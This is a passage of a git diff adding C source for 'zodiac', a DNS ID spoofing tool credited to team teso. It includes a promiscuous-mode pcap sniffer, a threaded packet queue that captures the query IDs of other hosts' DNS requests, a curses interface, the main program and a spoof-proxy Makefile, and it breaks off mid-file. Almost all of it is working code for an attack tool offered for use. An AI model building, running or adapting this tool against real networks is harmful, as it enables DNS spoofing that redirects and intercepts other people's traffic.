size_t len) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &ia->s_addr; + snprintf (str, len - 1, "%d.%d.%d.%d", ipp[3], ipp[2], ipp[1], ipp[0]); + + return (0); +} + + +int +net_printip (struct in_addr *ia, char *str, size_t len) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &ia->s_addr; + snprintf (str, len - 1, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + + return (0); +} + + +int +net_printipa (struct in_addr *ia, char **str) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &ia->s_addr; + *str = calloc (1, 256); + if (*str == NULL) + return (1); + + snprintf (*str, 255, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + *str = realloc (*str, strlen (*str) + 1); + + return ((*str == NULL) ? 1 : 0); +} + + diff --git a/dns-projects/zodiac/src/network.h b/dns-projects/zodiac/src/network.h new file mode 100644 index 0000000..b244165 --- /dev/null +++ b/dns-projects/zodiac/src/network.h @@ -0,0 +1,126 @@ + +/* zodiac - advanced dns spoofer + * + * ripped down network.c for use with zodiac + * + * by scut / teso + */ + +#ifndef Z_NETWORK_H +#define Z_NETWORK_H + +#include +#include +#include +#include + +#define IFI_NAME 16 +#define IFI_HADDR 8 + +/* struct ifi_info + * + * a linked list giving information about all the network interfaces available + * a pointer to this struct list is returned by net_get_ifi. + */ + +struct ifi_info { + char ifi_name[IFI_NAME]; + u_char ifi_haddr[IFI_HADDR]; + u_short ifi_hlen; + short ifi_flags; + short ifi_myflags; + struct sockaddr *ifi_addr; + struct in_addr ifi_saddr; + struct ifi_info *ifi_next; +}; + +#define IFI_ALIAS 1 + +typedef struct bound { + int bs; /* bound socket */ + unsigned short port; /* port we bound to */ + struct sockaddr bsa; /* bs_in */ +} bound; + +extern int net_readtimeout; +extern int net_conntimeout; +extern int net_identtimeout; + + +/* net_parseip + * + * read an ip in the format "1.1.1.1:299" or "blabla:481" into + * the char pointer *ip and into the port *port + * + * return 0 on failure + * return 1 on success + */ + +int net_parseip (char *inp, char **ip, unsigned short int *port); + + +/* net_getlocalip + * + * give back the main IP of the local machine + * + * return the local IP address as string on success + * return NULL on failure + */ + +char *net_getlocalip (void); + + +/* net_get_ifi + * + * get network interface information + * + * return NULL on failure + * return a pointer to a linked list structure ifi_info (see above) + */ + +struct ifi_info *net_ifi_get (int family, int doaliases); + + +/* net_ifi_free + * + * free the linked list associated with `tf'. + * + * return in any case + */ + +void net_ifi_free (struct ifi_info *tf); + + +/* net_resolve + * + * resolve a hostname pointed to by `host' into a s_addr return value + * + * return the correct formatted `s_addr' for this host on success + * return 0 on failure + */ + +unsigned long int net_resolve (char *host); + + +/* net_printip + * + * print an IP address stored in the struct in_addr pointed to by `ia' to a + * string `str' with a maximum length of `len'. + * + * return 0 on success + *return 1 on failure + * + * net_printipa behaves the same way, except it allocates memory and let + * `*str' point to the string + * + * net_printipr behaves like net_printip, except the IP is printed in + * reverse quad dotted order (dns labels) + */ + +int net_printip (struct in_addr *ia, char *str, size_t len); +int net_printipa (struct in_addr *ia, char **str); +int net_printipr (struct in_addr *ia, char *str, size_t len); + + +#endif + diff --git a/dns-projects/zodiac/src/output.c b/dns-projects/zodiac/src/output.c new file mode 100644 index 0000000..50f3776 --- /dev/null +++ b/dns-projects/zodiac/src/output.c @@ -0,0 +1,152 @@ + +/* zodiac - output module + * + * by scut / teso + * + * buy "Programming with Curses" if you mind understanding this :) + */ + +#define OUTPUT_MAIN + +#include +#include +#include +#include +#include +#include "common.h" +#include "output.h" +#include "zodiac.h" + +mscr * +out_init (void) +{ + mscr *nm = xcalloc (1, sizeof (mscr)); + pthread_mutex_init (&nm->outm, NULL); + + initscr (); /* initialize curses, get termcaps etc. */ + crmode (); /* cooked raw (control char's to kernel, rest to us */ + echo (); /* echo inputs */ + nl (); /* newline on wraps */ + meta (stdscr, TRUE); + keypad (stdscr, TRUE); + scrollok (stdscr, FALSE); + attrset (A_NORMAL); + + if (stdscr->_maxx < 79 || stdscr->_maxy < 20) + return (NULL); + + m_drawbox (stdscr, 0, 0, stdscr->_maxy, stdscr->_maxx); + move (0, 1); + printw ("= zodiac "VERSION" = by "AUTHORS" ="); + refresh (); + + /* create configuration, process and udp sniff window */ + nm->winsh = m_subwin (9, stdscr->_maxx, 1, 0, "console"); + nm->winproc = m_subwin (10, stdscr->_maxx / 2, 11, 0, "process"); + nm->winid = m_subwin (10, stdscr->_maxx / 2 + 1, 11, stdscr->_maxx / 2, "id"); + nm->windns = m_subwin (stdscr->_maxy - 21, stdscr->_maxx, 21, 0, "dns packets"); + + if (nm->winsh == NULL || nm->winproc == NULL || nm->windns == NULL) + return (NULL); + + touchwin (stdscr); + move (0, 0); + refresh (); + + return (nm); +} + +void +m_printfnr (mscr *screen, WINDOW *win, char *str, ...) +{ + va_list vl; + + pthread_mutex_lock (&screen->outm); + va_start (vl, str); + vw_printw (win, str, vl); + va_end (vl); + + pthread_mutex_unlock (&screen->outm); + + return; +} + +void +m_printf (mscr *screen, WINDOW *win, char *str, ...) +{ + va_list vl; + + pthread_mutex_lock (&screen->outm); + va_start (vl, str); + vw_printw (win, str, vl); + va_end (vl); + + wrefresh (win); + pthread_mutex_unlock (&screen->outm); + + return; +} + + +/* create a subwin from stdscr, putting a nice border around it and set a + * title + */ + +WINDOW * +m_subwin (int lines, int cols, int y1, int x1, char *title) +{ + WINDOW *nw; + + nw = subwin (stdscr, lines - 2, cols - 2, y1 + 1, x1 + 1); + if (nw == NULL) + return (NULL); + + meta (nw, TRUE); + keypad (nw, TRUE); + scrollok (nw, TRUE); + + m_drawbox (stdscr, y1, x1, y1 + lines, x1 + cols); + + if (title != NULL) { + move (y1, x1 + 1); + printw ("= %s =", title); + } + wmove (nw, 0, 0); + + return (nw); +} + +void +m_drawbox (WINDOW *win, int y1, int x1, int y2, int x2) +{ + int x, y; + + if (y1 >= y2 || x1 >= x2) + return; + + for (y = y1, x = x2 - 1; x > x1; --x) { + wmove (win, y, x); + waddch (win, '-'); + } + for (y = y2 - 1; y > y1; --y) { + wmove (win, y, x1); + waddch (win, '|'); + wmove (win, y, x2); + waddch (win, '|'); + } + for (y = y2, x = x2 - 1; x > x1; --x) { + wmove (win, y, x); + waddch (win, '-'); + } + wmove (win, y1, x1); + waddch (win, '+'); + wmove (win, y1, x2); + waddch (win, '+'); + wmove (win, y2, x1); + waddch (win, '+'); + wmove (win, y2, x2); + waddch (win, '+'); + + return; +} + diff --git a/dns-projects/zodiac/src/output.h b/dns-projects/zodiac/src/output.h new file mode 100644 index 0000000..3b453ed --- /dev/null +++ b/dns-projects/zodiac/src/output.h @@ -0,0 +1,31 @@ + +/* zodiac - output module + * include file + * + * by scut / teso + * + * buy "Programming with Curses" if you mind understanding this :) + */ + +#ifndef Z_OUTPUT_H +#define Z_OUTPUT_H + +#include +#include + +typedef struct mscr { + pthread_mutex_t outm; /* output mutex */ + WINDOW *winsh; /* configuration window */ + WINDOW *winproc; /* process / status window */ + WINDOW *winid; /* dns ID window */ + WINDOW *windns; /* incoming DNS packets window */ +} mscr; + +mscr *out_init (void); +void m_printfnr (mscr *screen, WINDOW *win, char *str, ...); +void m_printf (mscr *screen, WINDOW *win, char *str, ...); +WINDOW *m_subwin (int lines, int cols, int y1, int x1, char *title); +void m_drawbox (WINDOW *win, int y1, int x1, int y2, int x2); + +#endif + diff --git a/dns-projects/zodiac/src/packet.c b/dns-projects/zodiac/src/packet.c new file mode 100644 index 0000000..9a8e40d --- /dev/null +++ b/dns-projects/zodiac/src/packet.c @@ -0,0 +1,422 @@ +/* zodiac - advanced dns spoofer + * + * packet handling and queueing routines + * by scut + * -Smiler + * Changed pq_grind to remove link layer. Changed other functions to + * accept ip packets instead of ethernet packets. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "common.h" +#include "packet.h" +#include "output.h" +#include "sniff.h" +#include "zodiac.h" +#include "dns.h" +#include "dnsid.h" +#include "dns-tag.h" + + +/* pq_grind + * + * grind the packets received from the sniffer thread, stripping ethernet + * header, filter non-TCP packets, add them to the packet queue, then raise + * the correct semaphore. + * + * `sinfo' gives information about the sniffing thread and the packet queue, + * `pkthdr' is from the pcap handler and `pkt' contains the real packet data. + */ + +void +pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr, u_char *pkt) +{ + sniff_info *sinfo = (sniff_info *) sinfov; + + if (sinfo->device->linktype == DLT_EN10MB) { + if (((eth_hdr *)pkt)->ether_type != htons(ETHERTYPE_IP)) + goto pq_glend; + } + pkt += sinfo->device->linkhdrlen; + pkthdr->caplen -= sinfo->device->linkhdrlen; + + /* check if it is a IP/UDP packet, if not, silently skip it + */ + id_qprint (ms, ms->winid); + if (pq_filter (pkt, pkthdr->caplen) == 0) + goto pq_glend; + + /* compute real IP/UDP packet size and append it to the right queue + */ + if (pq_add (pkt, pkthdr->caplen, &pkthdr->ts, sinfo->pq_thd)) + goto pq_glend; + + /* notify the corresponding thread about the new packet in it's queue + */ + pq_notify (sinfo->pq_thd); + +pq_glend: + return; +} + + +/* pq_add + * + * append a packet queue description (pq_desc) with packet content `p_data' to + * the packet queue associated with thread `thd'. + * the packet data is copied, so the packet data pointer `p_data' has to be + * freed by the calling function. the time value `rcv_time' is the time when the + * packet was sniffed from the pcap library. + * + * return 0 on success + * will never fail tho ;-D + */ + +int +pq_add (unsigned char *p_data, unsigned long int p_size, struct timeval *rcv_time, pq_thread *pqt) +{ + pq_desc *np; /* new packet in queue */ + + np = xcalloc (1, sizeof (pq_desc)); + + /* initialize the packet mutex and get hold of it + */ + pthread_mutex_init (&np->pq_mutex, NULL); + pthread_mutex_lock (&np->pq_mutex); + + /* get memory for the packet + */ + np->p_len = p_size; + np->p_data = xcalloc (1, np->p_len); + + /* copy packet data, create hash and copy time values + */ + memcpy (np->p_data, p_data, np->p_len); + np->next = NULL; + memcpy (&np->rcv_time, rcv_time, sizeof (struct timeval)); + + /* now add the packet to the thread queue + */ + pthread_mutex_lock (&pqt->pq_mutex); + + /* no packet added yet, then just modify the root pointer, else + * append the packet + */ + if (pqt->root == NULL) { + pqt->root = np; + } else { + pq_desc *cur = pqt->root; /* help pointers to step through the list */ + pq_desc *last = pqt->root; + + /* cycle through linked list, until end is reached + */ + while (cur != NULL) { + last = cur; + + pthread_mutex_lock (&last->pq_mutex); + cur = last->next; + pthread_mutex_unlock (&last->pq_mutex); + } + + pthread_mutex_lock (&last->pq_mutex); + last->next = np; + pthread_mutex_unlock (&last->pq_mutex); + } + + pthread_mutex_unlock (&pqt->pq_mutex); + pthread_mutex_unlock (&np->pq_mutex); + + /* added packet successfully + */ + return (0); +} + + +/* pq_handle + * + * main (threaded) packet processor routine + */ + +void * +pq_handle (pq_thread *pq) +{ + pq_desc *packet; /* packet pointer */ + ip_hdr *ip; /* IP packet header pointer */ + udp_hdr *udp; /* UDP packet header pointer */ + dns_hdr *dns; /* DNS receive header pointer */ + unsigned char *data; /* packet data pointer :-) */ + char *p_data; +// unsigned long p; /* packet counter */ + + m_printf (ms, ms->windns, "[zod] hello world from the packetizer thread\n"); + + do { + unsigned int psize; + + do { + sem_wait (&pq->pq_active); /* wait for a packet */ + + /* get, unlink and then process the packet + */ + packet = pq_get (pq); + } while (packet == NULL); + + p_data = packet->p_data; + + pq_offset (p_data, &ip, &udp, &dns, &data); + +/* hexdump ("packets-rawdns", (unsigned char *) ip, (packet->p_len - sizeof (eth_hdr))); + debugp ("packets-rawdns", "ip=%08x\nudp=%08x\ndns=%08x\ndata=%08x\n", ip, udp, dns, data); +*/ + psize = packet->p_len; + dns_handle (ip, udp, dns, data, psize); + + /* now, if the packet is directed to port 53, we add the id to the queue + * then update the display. but first check whether it is a self-originated + * packet, then skip the whole procedure. + */ + if (udp->uh_dport == htons (53) && dns_tag_check_n (&ip->ip_src, + &ip->ip_dst, htons (udp->uh_sport), htons (udp->uh_dport), + htons (dns->id)) == 0) + { + id_add (ip->ip_src, ntohs (dns->id), &packet->rcv_time); + id_qprint (ms, ms->winid); + } + + pq_free (packet); + + } while (1); + + return (NULL); +} + + +/* pq_create + * + * create a packet handler + * + * return NULL on failure + * return pointer to pq_thread structure on success + */ + +pq_thread * +pq_create (void) +{ + int n; /* temporary return value */ + pq_thread *pq_new; /* main thread structure of new thread */ + + pq_new = xcalloc (1, sizeof (pq_thread)); + + pthread_mutex_init (&pq_new->pq_mutex, NULL); + pq_new->pq_count = pq_new->pq_curcount = 0; + sem_init (&pq_new->pq_active, 0, 0); + + n = pthread_create (&pq_new->pq_tid, NULL, (void *) pq_handle, (void *) pq_new); + if (n == -1) { + pq_destroy (pq_new); + + return (NULL); + } + + return (pq_new); +} + + +void +pq_destroy (pq_thread *pq) +{ + pthread_mutex_destroy (&pq->pq_mutex); + sem_destroy (&pq->pq_active); + + free (pq); + + return; +} + +/* pq_notify + * + * notify the correct thread using a semaphore + */ + +void +pq_notify (pq_thread *pqt) +{ + /* raise the semaphore + */ + sem_post (&pqt->pq_active); + + return; +} + + +/* pq_get + * + * return one packet from the packet stack pointed to by `pqt'. + * + * return NULL on failure + * return pointer to packet description on success + */ + +pq_desc * +pq_get (pq_thread *pqt) +{ + pq_desc *next; + pq_desc *this = NULL; + + pthread_mutex_lock (&pqt->pq_mutex); + + next = pqt->root; + + if (next != NULL) { + + /* if there is a packet, unlink first one, and shift all + * following packets + */ + pthread_mutex_lock (&pqt->root->pq_mutex); + next = pqt->root->next; + pthread_mutex_unlock (&pqt->root->pq_mutex); + + /* shift packets, we are helding pq_mutex tho :) + */ + this = pqt->root; + pqt->root = next; + + } + + pthread_mutex_unlock (&pqt->pq_mutex); + + return (this); +} + +/* pq_remove + * + * remove the first packet from packet thread queue `thd'. + * + * return in any case + */ + +void +pq_remove (pq_thread *pqt) +{ + pq_desc *next; + + pthread_mutex_lock (&pqt->pq_mutex); + + if (pqt->root != NULL) { + pthread_mutex_lock (&pqt->root->pq_mutex); + next = pqt->root->next; + pthread_mutex_unlock (&pqt->root->pq_mutex); + + pq_free (pqt->root); + pqt->root = next; + } + + pthread_mutex_unlock (&pqt->pq_mutex); + return; +} + + +/* pq_free + * + * free a pq_desc structure with all associated data + */ + +void +pq_free (pq_desc *packet) +{ + /* some sanity checking inside :) + */ + if (packet == NULL) + return; + + /* if data is associated, free it + */ + if (packet->p_data != NULL) { + free (packet->p_data); + } + + /* destroy mutex and free structure + */ + pthread_mutex_destroy (&packet->pq_mutex); + free (packet); + + return; +} + + +/* pq_filter + * + * check wether packet with packet data pointed to by `p_data' is a UDP + * nameserver packet or not + * + * return 1 if it is + * return 0 if it is not + */ + +int +pq_filter (unsigned char *p_data, unsigned long p_size) +{ + int iplen; + ip_hdr *ip = NULL; + udp_hdr *udp = NULL; + + if (p_size < (sizeof (ip_hdr) + sizeof (udp_hdr) + sizeof (dns_hdr))) + return (0); + + /* now check if the ip header encloses a udp packet + */ + ip = (ip_hdr *) (p_data); /* caveat here: don't miss brackets ! */ + if (ip->ip_p != IPPROTO_UDP) + return (0); + + iplen = ip->ip_hl << 2; + + /* finally check the source/destination ports for the nameserver + * port 53 + */ + udp = (udp_hdr *) (p_data + iplen); + if ((udp->uh_dport != htons (53)) && (udp->uh_sport != htons (53))) + return (0); + + /* it is a udp dns packet + */ + return (1); +} + + +/* pq_offset + * + * stupidly calculate offsets for IP, UDP and DNS offsets within a IP data + * block + * + * return nothing + */ + +void +pq_offset (unsigned char *data, ip_hdr **ip, udp_hdr **udp, dns_hdr **dns, unsigned char **dns_data) +{ + size_t ip_len; + + if (data == NULL) + return; + + *ip = (ip_hdr *) data; + ip_len = (*ip)->ip_hl << 2; + *udp = (udp_hdr *) (data + ip_len); + *dns = (dns_hdr *) (data + ip_len + sizeof (udp_hdr)); + *dns_data = (unsigned char *) (data + ip_len + sizeof (udp_hdr) + sizeof (dns_hdr)); + + return; +} + diff --git a/dns-projects/zodiac/src/packet.h b/dns-projects/zodiac/src/packet.h new file mode 100644 index 0000000..79464d4 --- /dev/null +++ b/dns-projects/zodiac/src/packet.h @@ -0,0 +1,85 @@ +/* snifflib + * + * by scut, smiler + * + */ + +#ifndef Z_PACKET_H +#define Z_PACKET_H + +#include +#include +#include +#include +#include +#include +#include + + +/* packet structures + * + * we tried to be as portable as possible + */ + +typedef struct libnet_ethernet_hdr eth_hdr; +typedef struct libnet_ip_hdr ip_hdr; +typedef struct libnet_udp_hdr udp_hdr; +typedef HEADER dns_hdr; /* HEADER is in arpa/nameser.h */ + + +/* pq_desc + * + * describe one packet within the packet queue. the data is only to be read + * and write if `pq_mutex' is hold. `next' points to the next pq_desc within + * this packet queue, hash is the hash id of the packet (TCP only), `p_data' + * is the actual packet data (at IP level) + */ + +typedef struct pq_desc { + pthread_mutex_t pq_mutex; /* mutex over this structure */ + + struct pq_desc *next; /* pointer to the next packet in the queue */ + struct timeval rcv_time; /* time when the packet was received */ + unsigned long int p_len; /* overall packet length */ + + unsigned char *p_data; /* actual packet data, link layer stripped already */ +} pq_desc; + + +/* pq_thread + * + * describe a) one packet processing thread (tid, semaphore) + * b) packet queue root pointer (linked list of pq_desc structs) + * c) stats for this queue + * + * if the sniffing thread has encountered a packet that it added to this + * packetizing queue, it will raise the `pq_active' :-) + */ + +typedef struct pq_thread { + pthread_t pq_tid; /* thread ID */ + sem_t pq_active; /* new packet semaphore, yeah =) */ + pthread_mutex_t pq_mutex; /* mutex over this structure */ + + unsigned long int pq_count; /* number of packets processed in this queue */ + unsigned long int pq_curcount; /* number of packets currently in this queue */ + pq_desc *root; /* root pointer of the linked list in this queue (NULL for empty) */ +} pq_thread; + +void *pq_handle (pq_thread *pq); +pq_thread *pq_create (void); +void pq_destroy (pq_thread *pq); +pq_desc *pq_get (pq_thread *pqt); +void pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr, + unsigned char *pkt); +int pq_add (unsigned char *p_data, unsigned long int p_size, + struct timeval *rcv_time, pq_thread *pqt); +void pq_notify (pq_thread *pqt); +void pq_remove (pq_thread *pqt); +void pq_free (pq_desc *packet); +int pq_filter (unsigned char *p_data, unsigned long p_size); +void pq_offset (unsigned char *data, ip_hdr **ip, udp_hdr **udp, + dns_hdr **dns, unsigned char **dns_data); + +#endif + diff --git a/dns-projects/zodiac/src/sniff.c b/dns-projects/zodiac/src/sniff.c new file mode 100644 index 0000000..44a3a56 --- /dev/null +++ b/dns-projects/zodiac/src/sniff.c @@ -0,0 +1,311 @@ +/* zodiac - advanced dns spoofer + * + * sniffing functions + * + * by scut, smiler + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "common.h" +#include "packet.h" +#include "output.h" +#include "sniff.h" +#include "zodiac.h" + + +extern struct in_addr localip; + + +/* sniff_new + * + * the only function that should be called from outside. set up sniffing + * device, create a new thread, then return. + * open `interface' device for sniffing, tell sniffing thread to use + * `pq_size' packet queues, available through `pq_list'. + * store thread id of new thread in `tid'. + * + * return 0 if thread creation was successful + * return 1 if thread creation failed + */ + +int +sniff_new (pthread_t *tid, char *interface, pq_thread *pq_thd) +{ + int n; /* temporary return value */ + sniff_info *sinfo; /* sniff information structure */ + + sinfo = xcalloc (1, sizeof (sniff_info)); + + /* open interface + */ + sinfo->device = sniff_open (interface); + if (sinfo->device == NULL) { + free (sinfo); + + return (1); + } else if (sinfo->device->error == 1) { + return (1); + } + + if (sniff_dev_ip (interface, &localip) != 0) { + free (sinfo); + + return (1); + } + + /* store information into sinfo + */ + sinfo->pq_thd = pq_thd; + + /* and create our neat thread :) + */ + n = pthread_create (tid, NULL, (void *) sniff_handle, (void *) sinfo); + if (n == -1) { + sniff_dev_free (sinfo->device); + free (sinfo); + + return (1); + } + /* successfully created sniffer thread + */ + return (0); +} + +/* sniff_handle + * + * the main sniffing thread, fetching packets from the device, then calling + * the packet grinder `pq_grind' to process the packets + * + * should never return except on error or program exit + */ + +void * +sniff_handle (sniff_info *sinfo) +{ + int n; /* temporary return value */ + pcap_handler grinder; /* pcap handler for the packet grinding function */ + + m_printf (ms, ms->winproc, "[zod] hello world from sniffing thread\n"); + + /* sniff packets forever, until an error appears. pass incoming packets + * to `pq_grind'. + */ + + grinder = (pcap_handler) pq_grind; + + /* loop packets to pq_grind until error, passing sinfo struct for queueing + */ + n = pcap_loop (sinfo->device->pd, -1, grinder, (void *) sinfo); + + /* on error print error message, then free the device and terminate the + * thread + */ + if (n == -1) { + m_printf (ms, ms->winproc, "[zod] sniff_handle (pcap_loop): %s\n", pcap_geterr (sinfo->device->pd)); + } + + return (NULL); +} + + +/* sniff_filter + * + * install a filter `filter' on device `device', with netmask `netmask' + * + * return 0 on success + * return 1 on failure + */ + +int +sniff_filter (s_dev *device, char *filter, bpf_u_int32 netmask) +{ + int n; /* temporary return value */ + struct bpf_program fprog; /* berkeley packet filter program structure */ + + n = pcap_compile (device->pd, &fprog, filter, 1, netmask); + if (n == -1) { + m_printf (ms, ms->winproc, "[zod] sniff_filter (pcap_compile): failed to compile bpf program\n"); + return (1); + } + + n = pcap_setfilter (device->pd, &fprog); + if (n == -1) { + m_printf (ms, ms->winproc, "[zod] sniff_filter (pcap_setfilter): failed to set bpf on %s\n", device->interface); + return (1); + } + + return (0); +} + +/* sniff_open + * + * open `dev' for sniffing, or just the first sniffable one, if + * dev is NULL. + * + * return NULL on failure + * return pointer sniffing device structure on success + * -smiler + * Added link layer header length detection. + */ + +s_dev * +sniff_open (char *devname) +{ + int n; /* temporary return value */ + s_dev *device; /* sniffing device structure to create */ + char errorbuf[PCAP_ERRBUF_SIZE]; /* error buffer for pcap message */ + + /* create new sniffing device structure in s_dev + */ + device = xcalloc (1, sizeof (s_dev)); + + /* check wether to use the first device or a specified device + */ + if (devname == NULL) { + /* due to lame pcap manpage, you should not know that it's static *doh* */ + device->interface = pcap_lookupdev (errorbuf); + if (device->interface == NULL) { + m_printf (ms, ms->winproc, "[zod] sniff_open (pcap_lookupdev): %s\n", errorbuf); + device->error = 1; + return (device); + } + } else { + /* if the interface we have to use is already known just copy it + */ + device->interface = xstrdup (devname); + } + + /* try to open the device found + */ + device->pd = sniff_pcap_open (device->interface); + if (device->pd == NULL) { + device->error = 1; + return (device); + } + + /* now query some information about the device and store them into our struct + */ + n = pcap_lookupnet (device->interface, &device->localnet, + &device->netmask, errorbuf); + if (n == -1) { + device->error = 1; + return (device); + } + + device->linktype = pcap_datalink (device->pd); + if (device->linktype == -1) { + device->error = 1; + return (device); + } + switch (device->linktype) { + /* not sure about all of these, but they work for me :\ */ + case DLT_SLIP: + case DLT_PPP: + case DLT_NULL: + device->linkhdrlen = 4; + break; + case DLT_RAW: + device->linkhdrlen = 0; + break; + case DLT_EN10MB: + default: + device->linkhdrlen = 14; + break; + } + m_printf(ms, ms->winproc, "[zod] sniff_open - linkhdrlen = %d\n",device->linkhdrlen); + return (device); +} + +/* sniff_pcap_open + * + * securely wraps the pcap_open_live call to catch any errors + * + * return NULL on failure + * return capture descriptor on succes + */ + +pcap_t * +sniff_pcap_open (char *device) +{ + char errorbuf[PCAP_ERRBUF_SIZE]; /* error buffer */ + pcap_t *pdes = NULL; /* packet capture descriptor */ + + pdes = pcap_open_live (device, SNAPLEN, PROMISC, READ_TIMEOUT, errorbuf); + + if (pdes == NULL) { + m_printf (ms, ms->winproc, "[zod] sniff_pcap_open (pcap_open_live): %s\n", errorbuf); + return (NULL); + } + + return (pdes); +} + +/* sniff_dev_free + * + * close and free a sniffing device + */ + +void +sniff_dev_free (s_dev *device) +{ + pcap_close (device->pd); + if (device->interface) + free (device->interface); + + free (device); + + return; +} + + +/* sniff_dev_ip + * + * get the ip given the name of a device. + * i /hope/ this is portable ;) + * -smiler 991001 + * + * return 0 on success + * return -1 on failure + */ + +int +sniff_dev_ip (const char *dev, struct in_addr *ip) +{ + int ifsock, + i_cnt; + struct ifconf ifc; + struct ifreq *ifr; + char buf[1024]; + + + ifsock = socket (AF_INET, SOCK_DGRAM, 0); + if (ifsock < 0) + return (-1); + + ifc.ifc_len = sizeof (buf); + ifc.ifc_buf = buf; + if (ioctl (ifsock, SIOCGIFCONF, &ifc) < 0) + return (-1); + + i_cnt = ifc.ifc_len / sizeof(struct ifreq); + + for (ifr = ifc.ifc_req; i_cnt ; i_cnt--, ifr++) { + if (strcmp (dev, ifr->ifr_name) == 0) { + memcpy (ip, &((struct sockaddr_in *) &ifr->ifr_addr)->sin_addr, + sizeof (struct in_addr)); + + return (0); + } + } + + return (-1); +} diff --git a/dns-projects/zodiac/src/sniff.h b/dns-projects/zodiac/src/sniff.h new file mode 100644 index 0000000..eae4b6c --- /dev/null +++ b/dns-projects/zodiac/src/sniff.h @@ -0,0 +1,45 @@ +/* snifflib + * + * by scut + * + */ + +#ifndef Z_SNIFF_H +#define Z_SNIFF_H + +#include +#include "packet.h" + +#define SNAPLEN 65535 +#define PROMISC 1 +#define READ_TIMEOUT 0 + + +typedef struct s_dev { + int error; /* error flag */ + + pcap_t *pd; /* packet capture descriptor */ + char *interface; /* interface name */ + int linktype; /* link layer type */ + unsigned long int linkhdrlen; /* length of the link layer frame header */ + bpf_u_int32 localnet; /* local network address */ + bpf_u_int32 netmask; /* netmask of local network */ + +} s_dev; + + +typedef struct sniff_info { + s_dev *device; /* device structure of the sniffing device */ + pq_thread *pq_thd; /* packet queue list root pointer */ +} sniff_info; + + +int sniff_new (pthread_t *tid, char *interface, pq_thread *pq_thd); +void *sniff_handle (sniff_info *sinfo); +s_dev *sniff_open (char *devname); +pcap_t *sniff_pcap_open (char *device); +void sniff_dev_free (s_dev *device); +int sniff_dev_ip (const char *dev, struct in_addr *ip); + +#endif + diff --git a/dns-projects/zodiac/src/zodiac.c b/dns-projects/zodiac/src/zodiac.c new file mode 100644 index 0000000..508b375 --- /dev/null +++ b/dns-projects/zodiac/src/zodiac.c @@ -0,0 +1,113 @@ +/* zodiac - advanced dns id spoofer + * + * by team teso + * + * + */ + +#define ZODIAC_MAIN + +#include +#include +#include +#include +#include +#include +#include +#include +#include "common.h" +#include "dns.h" +#include "dns-spoof.h" +#include "dns-tools.h" +#include "gui.h" +#include "output.h" +#include "packet.h" +#include "sniff.h" + + +int quiteness = 0; + +char * zodiac_spoof_proxy = NULL; +char * zodiac_spoof_proxy_key = NULL; +unsigned short int zodiac_spoof_proxy_port = 0; +mscr * ms; /* global screen variable */ +char * match_hash = + "\xe7\x30\xbb\x0b\xda\x73\xdf\x98\xf6\x38\xac\x9f\xa3\xcc\xc0\x8f"; + +static void usage (char *program); + +static void +usage (char *program) +{ + printf ("usage: %s [options]\n\n" + "options\n" + " -h this help *wow* :-)\n" + " -i use device for sniffing\n" + " -q quiet operation\n\n", program); + + exit (EXIT_FAILURE); +} + + +int +main (int argc, char **argv) +{ + char c; + pq_thread *pmain; + pthread_t sniff_t; + char *interface = "eth0"; + + if (argc >= 5) { + usage (argv[0]); + } + + while ((c = getopt (argc, argv, "qhi:")) != EOF) { + switch (c) { + case 'h': + usage (argv[0]); + break; + case 'i': + interface = optarg; + break; + case 'q': + quiteness++; + break; + default: + exit (EXIT_FAILURE); + } + } + + srandom (time (NULL)); + + ms = out_init (); + if (ms == NULL) { + fprintf (stderr, "[zod] cannot initialize console\n"); + exit (EXIT_FAILURE); + } + + /* install a sniffing handler + */ + pmain = pq_create (); + if (pmain == NULL) { + m_printf (ms, ms->winproc, "[zod] failed to create packetizer thread\n"); + endwin (); + exit (EXIT_FAILURE); + } + + if (sniff_new (&sniff_t, interface, pmain)) { + m_printf (ms, ms->winproc, "[zod] failed to create new sniffing thread\n"); + endwin (); + exit (EXIT_FAILURE); + } + + m_printf (ms, ms->winproc, "[zod] zodiac successfully started\n"); + + libnet_seed_prand (); + menu_handle (); + + endwin (); + + exit (EXIT_SUCCESS); +} + + diff --git a/dns-projects/zodiac/src/zodiac.h b/dns-projects/zodiac/src/zodiac.h new file mode 100644 index 0000000..cecef3e --- /dev/null +++ b/dns-projects/zodiac/src/zodiac.h @@ -0,0 +1,23 @@ +/* zodiac - advanced dns spoofer + * + * by scut / teso + */ + +#include "output.h" + +#ifndef Z_ZODIAC_H +#define Z_ZODIAC_H + +#define AUTHORS "team teso" +#define VERSION "v0.4.9" + +#ifndef ZODIAC_MAIN +extern mscr * ms; /* global screen variable */ +extern char * zodiac_spoof_proxy; +extern char * zodiac_spoof_proxy_key; +extern unsigned short int zodiac_spoof_proxy_port; + +#endif + +#endif + diff --git a/dns-projects/zodiac/src/zsp/Makefile b/dns-projects/zodiac/src/zsp/Makefile new file mode 100644 index 0000000..7b1e3a9 --- /dev/null +++ b/dns-projects/zodiac/src/zsp/Makefile @@ -0,0 +1,18 @@ +CFLAGS=-Wall -g -ggdb -DDEBUG `libnet-config --defines` -D_REENTRANT +LIBS=-lnet +CC=gcc +OBJS = ../common.o ../io-udp.o ../cipher-blowfish.o ../cipher-sha1.o ../network.o +PREFIX=/usr/local + +all: zsp zsp-test + +clean: + rm -f *.o zsp zsp-test + +zsp: zsp.c $(OBJS) + $(CC) $(CFLAGS) -o zsp zsp.c $(OBJS) $(LIBS) + mv zsp ../../ + +zsp-test: zsp-test.c $(OBJS) + $(CC) $(CFLAGS) -o zsp-test zsp-test.c $(OBJS) $(LIBS) + diff --git a/dns-projects/zodiac/src/zsp/zsp-test.c b/dns-projects/zodiac/src/zsp/zsp-test.c new file mode 100644 index 0000000..1c370aa --- /dev/null +++ b/dns-projects/zodiac/src/zsp/zsp-test.c @@ -0,0 +1,27 @@ +/* zodiac spoof proxy + * + * by team teso + * + * test program + */ + +#include +#include +#include +#include "../io-udp.h" +#include "../network.h" + + +int +main (int argc, char **argv) +{ + unsigned char *data = + "\xe7\x30\xbb\x0b\xda\x73\xdf\x98\xf6\x38\xac\x9f\xa3\xcc\xc0\x8f" + 